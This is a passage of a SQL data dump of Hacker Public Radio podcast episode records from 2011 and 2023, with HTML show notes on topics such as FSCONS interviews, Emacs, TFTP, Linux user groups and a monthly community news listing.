alt=\"\">\r\n\r\n<p>\r\n<a href=\"https://www.sourcetrunk.com/podcasts/sourcetrunk_077.mp3\">https://www.sourcetrunk.com/podcasts/sourcetrunk_077.mp3</a><br />\r\n<a href=\"https://www.sourcetrunk.com/podcasts/sourcetrunk_077.ogg\">https://www.sourcetrunk.com/podcasts/sourcetrunk_077.ogg</a><br />\r\n<a href=\"https://owncloud.org/\">https://owncloud.org/</a><br />\r\n<a href=\"https://demo.owncloud.org/files/index.php\">https://demo.owncloud.org/files/index.php</a><br />\r\n<a href=\"https://owncloud.org/install/\">https://owncloud.org/install/</a><br />\r\n<a href=\"https://owncloud.org/contribute/\">https://owncloud.org/contribute/</a><br />\r\n<a href=\"https://market.android.com/details?id=com.arantius.tivocommander&amp;hl=en\">https://market.android.com/details?id=com.arantius.tivocommander&amp;hl=en</a><br />\r\n<a href=\"https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=5848a0485a0f4eff28c22288a2396a57\">https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=5848a0485a0f4eff28c22288a2396a57</a><br />\r\n<a href=\"https://music.podshow.com/music/listeners/artistdetails.php?BandHash=96f18a09714d01b833268854cf39d82c\">https://music.podshow.com/music/listeners/artistdetails.php?BandHash=96f18a09714d01b833268854cf39d82c</a><br />\r\n<a href=\"https://music.podshow.com\">https://music.podshow.com</a><br />\r\n</p>\r\n',30,54,1,'CC-BY-SA','OwnCloud',0,2157,1),
(860,'2011-11-18','Kaizendo, GNU Parallel and some more FSCONS',1576,'Two interviews from FSCONS 2010','<h2>Interviews and a look at FSCONS 2011</h2>\r\n\r\n<p>Today you will hear two interviews from FSCONS 2010. The audio is of \"conference quality\", that is, there are a lot of noice in the background. Not much to do about that, I am sorry. But it is two really great interviews, so well worth it!</p>\r\n\r\n<p>But as a start I have a look at what will take place during the coming FSCONS 2011, that will start 2011-11-11 and continue through the whole weekend. I read from the schedule, and mention some of the topics and presenters who will be there.</p>\r\n\r\n<ul>\r\n  <li><a href=\"https://fscons.org/\">FSCONS 2011</a></li>\r\n  <li><a href=\"https://my.fscons.org/schedule/\">FSCONS 2011 Schedule</a></li>\r\n</ul>\r\n\r\n<h3>Salve J. Nilsen - Kaizendo: Customizable schoolboks</h3>\r\n\r\n<p>Imagine a schoolbook where the pupil and her teacher can choose the topic depth, clarity of text and homework difficulty as needed and necessary.</p>\r\n\r\n<p>Add alternatives for teachers (supporting different instructional methods, teaching styles), schools (variations in chapter content based on time constraints or policy) and parents (having a topic summary to read before helping with homework.) This is what we mean with customizable textbooks.</p>\r\n\r\n<ul>\r\n  <li><a href=\"https://kaizendo.org/\">https://kaizendo.org/</a></li>\r\n  <li><a href=\"https://vimeo.com/20875583\">https://vimeo.com/20875583</a></li>\r\n</ul>\r\n\r\n\r\n<h3>Ole Tange - GNU Parallel</h3>\r\n\r\n<p>GNU parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU parallel can then split the input and pipe it into commands in parallel.</p>\r\n\r\n<ul>\r\n  <li><a href=\"https://www.gnu.org/s/parallel/\">https://www.gnu.org/s/parallel/</a></li>\r\n  <li><a href=\"https://vimeo.com/20838834\">https://vimeo.com/20838834</a></li>\r\n</ul>\r\n\r\n\r\n<h3>Shameless plugs</h3>\r\n\r\n<p>You should follow me on <a href=\"https://identi.ca/alltinomit\">Identi.ca</a> and <a href=\"https://twitter.com/alltinomit\">Twitter</a>: @alltinomit or subscribe to All In IT Radio at <a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a> By the way, we now also have a Google+ Page, find it at <a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></p>\r\n',192,78,1,'CC-BY-SA','FSCONS',0,2210,1),
(861,'2011-11-20','Emacs Part 3: The Reckoning.',1097,'Third and final episode of a mini series on GNU Emacs','<p>\r\nA small mini series (three parts) on GNU Emacs; Klaatu tells you how to use it, when to use it and when not to, why you\'d want to use it, and most of all - how to become a pro on it! Not a sales pitch for Emacs, just a harmless introduction. First try is free.</p>\r\n\r\n',78,0,0,'CC-BY-SA','\"GNU Emacs\",buffer,minibuffer,frame,window',0,2234,1),
(862,'2011-11-21','Breaking Down TFTP',1605,'TFTP, what it\'s good for and what makes it tick','<p>In the inaugural episode of Breaking Down Protocols, I dig into TFTP, what it\'s good for and what makes it tick.<br />\r\nYou can contact Kevin on identi.ca as  <a href=\"https://identi.ca/kevingranade\">@kevingranade</a><br />\r\n</p>\r\n<p>\r\nThe original rfc<br />\r\n<a href=\"https://www.ietf.org/rfc/rfc783.txt\">https://www.ietf.org/rfc/rfc783.txt</a><br />\r\n<br />The errata<br />\r\n<a href=\"https://www.ietf.org/rfc/rfc1123.txt\">https://www.ietf.org/rfc/rfc1123.txt</a><br />\r\n<br />An update<br />\r\n<a href=\"https://www.ietf.org/rfc/rfc1350.txt\">https://www.ietf.org/rfc/rfc1350.txt</a><br />\r\n<br />The option extension <br />\r\n<a href=\"https://www.ietf.org/rfc/rfc1782.txt\">https://www.ietf.org/rfc/rfc1782.txt</a><br />\r\n<a href=\"https://www.ietf.org/rfc/rfc1783.txt\">https://www.ietf.org/rfc/rfc1783.txt</a><br />\r\n<a href=\"https://www.ietf.org/rfc/rfc1784.txt\">https://www.ietf.org/rfc/rfc1784.txt</a><br />\r\n<br />An update to option extension<br />\r\n<a href=\"https://www.ietf.org/rfc/rfc2347.txt\">https://www.ietf.org/rfc/rfc2347.txt</a><br />\r\n<a href=\"https://www.ietf.org/rfc/rfc2348.txt\">https://www.ietf.org/rfc/rfc2348.txt</a><br />\r\n<a href=\"https://www.ietf.org/rfc/rfc2349.txt\">https://www.ietf.org/rfc/rfc2349.txt</a><br />\r\n<br />The multicast RFC.<br />\r\n<a href=\"https://www.ietf.org/rfc/rfc2090.txt\">https://www.ietf.org/rfc/rfc2090.txt</a><br />\r\n</p>\r\n<h2>Trivial File Transfer Protocol</h2>\r\n<h3>From Wikipedia, the free encyclopedia</h3>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol\">https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol</a></p>\r\n\r\n<p>\r\nTrivial File Transfer Protocol (TFTP) is a file transfer protocol known for its simplicity.[citation needed] It is generally used for automated transfer of configuration or boot files between machines in a local environment. Compared to FTP, TFTP is extremely limited, providing no authentication, and is rarely used interactively by a user.<br />\r\n<br />\r\nDue to its simple design, TFTP could be implemented using a very small amount of memory. It is therefore useful for booting computers such as routers which may not have any data storage devices. It is an element of the Preboot Execution Environment (PXE) network boot protocol, where it is implemented in the firmware BIOS of the host\'s network card.<br />\r\n<br />\r\nIt is also used to transfer small amounts of data between hosts on a network, such as IP phone firmware or operating system images when a remote X Window System terminal or any other thin client boots from a network host or server. The initial stages of some network based installation systems (such as Solaris Jumpstart, Red Hat Kickstart, Symantec Ghost and Windows NT\'s Remote Installation Services) use TFTP to load a basic kernel that performs the actual installation.<br />\r\n<br />\r\nTFTP was first defined in 1980 by IEN 133.[1] It is currently defined by RFC 1350. There have been some extensions to the TFTP protocol documented in later RFC\'s (see the section on Extensions, below). TFTP is based in part on the earlier protocol EFTP, which was part of the PUP protocol suite. TFTP support appeared first as part of 4.3 BSD.<br />\r\n<br />\r\nDue to the lack of security, it is dangerous to use it over the Internet. Thus, TFTP is generally only used on private, local networks.\r\n</p>',193,0,1,'CC-BY-SA','\"Trivial File Transfer Protocol\",TFTP,\"Preboot Execution Environment\",PXE',0,2479,1),
(863,'2011-11-22','Tony Hughes Free Cycle',450,'In today\'s show Ken talks to Tony Hughes about how he got into Linux','<h2>The Freecycle Network</h2>\r\n<p>\r\n<img src=\"https://static.t-f-n.org/images/freecycle_logo.jpg\"><br />\r\n<strong>From Wikipedia, the free encyclopedia</strong><br />\r\n<a href=\"https://en.wikipedia.org/wiki/The_Freecycle_Network\">https://en.wikipedia.org/wiki/The_Freecycle_Network</a><br />\r\n<br />\r\nThe Freecycle Network (often abbreviated TFN or just known as Freecycle) is a non-profit organization registered in the state of Arizona, USA, and separately registered as a UK charity, that organizes a worldwide network of \"gifting\" groups, aiming to divert reusable goods from landfills. It provides a worldwide online registry, and coordinates the creation of local groups and forums for individuals and non-profits to offer and receive free items for reuse or recycling, promoting gift economics as a motivating cultural outlook. \"Changing the world one gift at a time\" is The Freecycle Network\'s official tagline.<br />\r\n<a href=\"https://www.freecycle.org/\">https://www.freecycle.org/</a><br />\r\n</p>\r\n<h2>Xubuntu </h2>\r\n<p>\r\nXubuntu is a community developed, Ubuntu-based Linux operating system that is well-suited for both laptops and desktops. It contains all the applications you need - a web browser, document and spreadsheet editing software, instant messaging and much more.\r\n<a href=\"https://www.xubuntu.org/\">https://www.xubuntu.org/</a>\r\n</p>\r\n<h2>LibreOffice</h2>\r\n<p>\r\n<!-- <img src=\"https://www.libreoffice.org/assets/Shared/mimeiconsbanner.png\"><br /> -->\r\n<img src=\"https://web.archive.org/web/20140106025655/https://www.libreoffice.org/assets/Shared/mimeiconsbanner.png\"><br />\r\nLibreOffice is the power-packed free, libre and open source personal productivity suite for Windows, Macintosh and GNU/Linux, that gives you six feature-rich applications for all your document production and data processing needs: Writer, Calc, Impress, Draw, Math and Base. Support and documentation is free from our large, dedicated community of users, contributors and developers. You, too, can get involved!<br />\r\n<a href=\"https://www.libreoffice.org/\">https://www.libreoffice.org/</a>\r\n</p>\r\n<h2>Ucubed</h2>\r\n<p>\r\n<!-- <img src=\"https://ucubed.info/user/themes/ucubed/images/ucubed.png\"><br /> -->\r\n<img src=\"https://web.archive.org/web/20140307053157/https://ucubed.info/user/themes/ucubed/images/ucubed.png\"><br />\r\n<strong>What is Ucubed?</strong><br />\r\nUCubed is an event that focuses on Ubuntu and Debian based distributions, and encourages users to become more involved in the community.<br />\r\n<a href=\"https://ucubed.info/\">https://ucubed.info/</a>\r\n</p>\r\n<h2>Software Freedom Day</h2>\r\n<p>\r\n<strong>Software Freedom Day</strong> is a global celebration and education of why transparent and sustainable technologies are now more important than ever. With over 200 teams in 60 countries participating, it is a fantastic event to get your schools and communities involved in. Go along to your local event or start your own event and meet a wide range of people, all working together to help ensure our freedoms are maintained by the technologies of tomorrow. <br />\r\n\r\n<a href=\"https://softwarefreedomday.org/\">https://softwarefreedomday.org/</a>\r\n</p>\r\n<h2>BLACKPOOL LUG</h2>\r\n\r\n<p>\r\n\r\n<a href=\"https://blackpoollug.blogspot.com/\">https://blackpoollug.blogspot.com/</a>\r\n<br />\r\n<!-- <a href=\"https://lugs.org.uk/\"><img alt=\"lugs.org.uk\" src=\"https://lugs.org.uk/images/linux-banner1.gif\"></a><br> -->\r\n<a href=\"https://lugs.org.uk/\"><img alt=\"lugs.org.uk\" src=\"https://web.archive.org/web/20160326094327/https://lugs.org.uk/images/linux-banner1.gif\"></a><br>\r\n<br>\r\n<!-- <img src=\"https://ug.oreilly.com/banners/ug_ad_250_eagle.gif\"><br> -->\r\n<img src=\"https://web.archive.org/web/20120815140509/https://ug.oreilly.com/banners/ug_ad_250_eagle.gif\"><br>\r\n<br>\r\nBLACKPOOL LUG membership is free, no sign up required.<br>\r\nJust turn up, or follow us here, or on the mailing list, Twitter, Facebook, or RSS.<br>\r\n<br>\r\n<br>\r\nmailing list, subscribe here:- <a href=\"https://mailman.lug.org.uk/mailman/listinfo/blackpool/\">https://mailman.lug.org.uk/mailman/listinfo/blackpool/</a><br>\r\npost to:- blackpool@mailman.lug.org.uk<br>\r\nRead list: <a href=\"https://mailman.lug.org.uk/pipermail/blackpool/\"> list archives here</a><br>\r\n\r\n<br>\r\nThe facebook page is <a href=\"https://www.facebook.com/pages/Blackpool-Linux-User-Group/246361483138?created#/pages/Blackpool/Blackpool-Linux-User-Group/246361483138?v=info&amp;__a=1&amp;_fb_iframe_path=%2Fpages%2FBlackpool-Linux-User-Group%2F246361483138\"> here </a><br>\r\n<br>\r\nTwitter:-   <a href=\"https://twitter.com/blacc2\">@blacc2</a><br>\r\n<br>\r\n<a href=\"https://feeds.feedburner.com/BlackpoolGnuLinuxUserGroup\"> RSS Subscribe </a><br>\r\n<br>\r\nMeetings every Saturday 10-12 excluding school holidays<br>\r\nAt 29-35 Ripon road, Blackpool. FY1 4DY<br>\r\n\r\n<br>\r\nFormat - <br>\r\n\'Free for all\' open day. <br>\r\nMembers, non members, friends, passers by, everybody welcome.<br>\r\n<br>\r\nRipon road is residents only parking, don\'t get a parking ticket<br>\r\n<br>\r\n<a href=\"https://maps.google.co.uk/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=fy1+4dy&amp;sll=53.81323,-3.039624&amp;sspn=0.000709,0.001714&amp;ie=UTF8&amp;ll=53.814386,-3.039608&amp;spn=0.011351,0.027423&amp;z=15&amp;iwloc=A\"> Link to map </a> :- Ripon road, Blackpool FY1 4DY<br>\r\nThe sign says: PCRECYCLER LTD.<br>\r\n\r\nUse the buzzer/intercom on the wall next to the door in the yard to get in.<br>\r\n<br>\r\n<div>\r\nPicture of Ripon road building by Jim Huntsman:-<br>\r\n<br>\r\n<a href=\"https://picasaweb.google.co.uk/hewitt.michaelj/RiponRoad?feat=embedwebsite\"><img src=\"https://lh4.ggpht.com/_X0w1RXq9I4E/SplLY65cw9E/AAAAAAAAAMM/Q_Mu7548uMk/s160-c/RiponRoad.jpg\" style=\"margin: 1px 0pt 0pt 4px;\" height=\"160\" width=\"160\"></a><br>\r\n<br>\r\n<a href=\"https://picasaweb.google.co.uk/hewitt.michaelj/RiponRoad?feat=embedwebsite\" style=\"color: rgb(77, 77, 77); font-weight: bold; text-decoration: none;\">Ripon road</a><br>\r\n<br></div>\r\n<br>\r\nLUG Main contact:-<br>\r\nMike Hewitt <br>\r\n\r\nadmin[at]pcrecycler[.]co[.]uk<br>\r\nTel 01253 293258 between 10-2, Mon,Tue,Thur,Friday.<br>\r\nFax:-07092162209<br>\r\n<br>\r\n<br>\r\n<br>\r\n<br>\r\n\r\n\r\n</p>\r\n',30,0,1,'CC-BY-SA','\"Free Cycle\",Xubuntu,Ucubed,\"Software Freedom Day\",\"BLACKPOOL LUG\"',0,1994,1),
(864,'2011-11-23','Opentech Conference 2011: Glen Mehn, SI Camp',1108,'Opentech Conference in London, interview with Glen Mehn of Social Innovation Camp','<p>Hello world and welcome to our show on Hacker Public Radio. This episode is our de-brief on the Opentech Conference in London, plus an interview with Glen Mehn of Social Innovation Camp by my co-host is Les Pounder</p>\r\n<p><a href=\"https://www.ukuug.org/events/opentech2011/\" target=\"_blank\"><strong>OpenTech 2011</strong></a></p>\r\n<p>Saturday 21st May 2011,Union Building, University of London.</p>\r\n<p><strong>Interview: Glen Mehne of <a title=\"Social Innovation Camp\" href=\"https://www.sicamp.org/\" target=\"_blank\">Social Innovation Camp</a>: </strong></p>\r\n<p>Social Innovation Camp brings together ideas, people and digital tools to build web-based solutions to social problems – all in just 48 hours</p>\r\n\r\n<p>OpenTech 2011 is an informal, low cost, one-day conference on slightly different approaches to technology, transport and democracy. Talks by people who <a target=\"_blank\" href=\"https://radar.oreilly.com/2009/01/work-on-stuff-that-matters-fir.html\">work on things that matter</a>, guarantees a day of thoughtful talks leading to conversations with friends.</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n<ul>\r\n        <li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n        <li><strong>Les Pounder</strong> (blog at <a href=\"https://lespounder.wordpress.com/\" target=\"_blank\">https://lespounder.wordpress.com/</a>)</li>\r\n</ul>\r\n\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 18mins 26seconds</p>',160,0,1,'CC-BY-SA','Full Circle Podcast',0,2015,1),
(865,'2011-11-24','Desktop Transparency',884,'The history of Desktop Transparency','<p>Deltaray talks about the (true) history of Desktop Transparency.</p>\r\n\r\n\r\n<!-- <img src=\"https://cmdrtaco.net/linux/cmdrtaco_desktop_51597.jpg\" alt=\"The famous screenshot that started it all, by Cmdr Taco\" width=400 /> -->\r\n<img src=\"https://web.archive.org/web/20130508054111/https://cmdrtaco.net/linux/cmdrtaco_desktop_51597.jpg\" alt=\"The famous screenshot that started it all, by Cmdr Taco\" width=400 />\r\n',194,0,1,'CC-BY-SA','\"free software\",rxvt,\"background image\",\"transparent background\",Enlightenment,\"translucent window\",Berlin',0,2394,1),
(866,'2011-11-28','Publican, the user-friendly Perl frontend to Docbook XML',2478,'Publican is a tool for publishing material authored in DocBook XML','<p>Klaatu introduces you to Publican, the user-friendly Perl frontend to Docbook XML from the Fedora Linux Project.  Also, how to set up vim with XML tag completion.</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<p>\r\nAlso see <a href=\"https://docbook.org/tdg/\" target=\"_blank\">Docbook The Definitive Guide</a>\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://www.thaiopensource.com/nxml-mode/\" target=\"_blank\">nXML-mode</a> for GNU Emacs.\r\n</p>\r\n\r\n<p>\r\nFeel free to glance over the <a href=\"https://gitorious.org/emacs/emacs.git\" target=\"_blank\">dot-emacs</a> file that Klaatu uses, mostly stolen from Unix guru Bill Von Hagen (who in turn stole it from lots of other people; read comments for credits)\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://www.vim.org/scripts/script.php?script_id=1442\" target=\"_blank\">XML Completion for Vim</a>\r\n</p>\r\n',78,0,0,'CC-BY-SA','Perl,\"XML schema\",DocBook,\"GNU Emacs\",Vim',0,2255,1),
(3846,'2023-05-01','HPR Community News for April 2023',3813,'HPR Volunteers talk about shows released and comments posted in April 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3826\" target=\"_blank\">3826</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-04-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3826\" target=\"_blank\">HPR Community News for March 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3827\" target=\"_blank\">3827</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-04-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3827\" target=\"_blank\">Reply to hpr 3798 </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3828\" target=\"_blank\">3828</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-04-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3828\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3829\" target=\"_blank\">3829</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-04-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3829\" target=\"_blank\">The Edinburgh cohort of HPR hosts stops Mumbling!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3830\" target=\"_blank\">3830</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-04-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3830\" target=\"_blank\">Into New Mexico</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3831\" target=\"_blank\">3831</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-04-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3831\" target=\"_blank\">Introducing Bumble Bee.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3832\" target=\"_blank\">3832</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-04-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3832\" target=\"_blank\">How I left Google behind</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\" target=\"_blank\">minnix</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3833\" target=\"_blank\">3833</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-04-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3833\" target=\"_blank\">Software Freedom Podcast</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3834\" target=\"_blank\">3834</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-04-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3834\" target=\"_blank\">2022-2023 New Years Show Episode 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3835\" target=\"_blank\">3835</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-04-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3835\" target=\"_blank\">Retro Karaoke machine Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3836\" target=\"_blank\">3836</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-04-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3836\" target=\"_blank\">Using \'zoxide\', an alternative to \'cd\'</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3837\" target=\"_blank\">3837</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-04-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3837\" target=\"_blank\">Make a vortex cannon</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3838\" target=\"_blank\">3838</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-04-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3838\" target=\"_blank\">Biking to Work</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3839\" target=\"_blank\">3839</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-04-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3839\" target=\"_blank\">Rip a CD in the terminal</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3840\" target=\"_blank\">3840</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-04-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3840\" target=\"_blank\">Playing the Original Civilization</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3841\" target=\"_blank\">3841</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-04-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3841\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3842\" target=\"_blank\">3842</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-04-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3842\" target=\"_blank\">What’s in my bag series</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3843\" target=\"_blank\">3843</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-04-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3843\" target=\"_blank\">LinuxLUGCast pre-show ramblings</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3844\" target=\"_blank\">3844</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-04-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3844\" target=\"_blank\">2022-2023 New Years Show Episode 6</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3845\" target=\"_blank\">3845</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-04-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3845\" target=\"_blank\">Using tmux, the terminal multiplexer Overview</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3819#comments\" target=\"_blank\">hpr3819</a></strong>\n(2023-03-23) \"<em>Remapping Mouse Buttons with XBindKeys on Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3819#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2023-04-03:\n\"LOOK EVERYBODY!!!\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3822#comments\" target=\"_blank\">hpr3822</a></strong>\n(2023-03-28) \"<em>A tale of wonder, angst and woe</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">Bookewyrmm</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3822#2\" target=\"_blank\">Comment 2</a>:\nBookewyrmm on 2023-04-17:\n\"small update\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3823#comments\" target=\"_blank\">hpr3823</a></strong>\n(2023-03-29) \"<em>Gitlab Pages for website hosting</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3823#1\" target=\"_blank\">Comment 1</a>:\nrho`n on 2023-04-01:\n\"Congfiguring HPR site generator\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3825#comments\" target=\"_blank\">hpr3825</a></strong>\n(2023-03-31) \"<em>Creating a natural aquarium</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\" target=\"_blank\">minnix</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3825#3\" target=\"_blank\">Comment 3</a>:\nminnix on 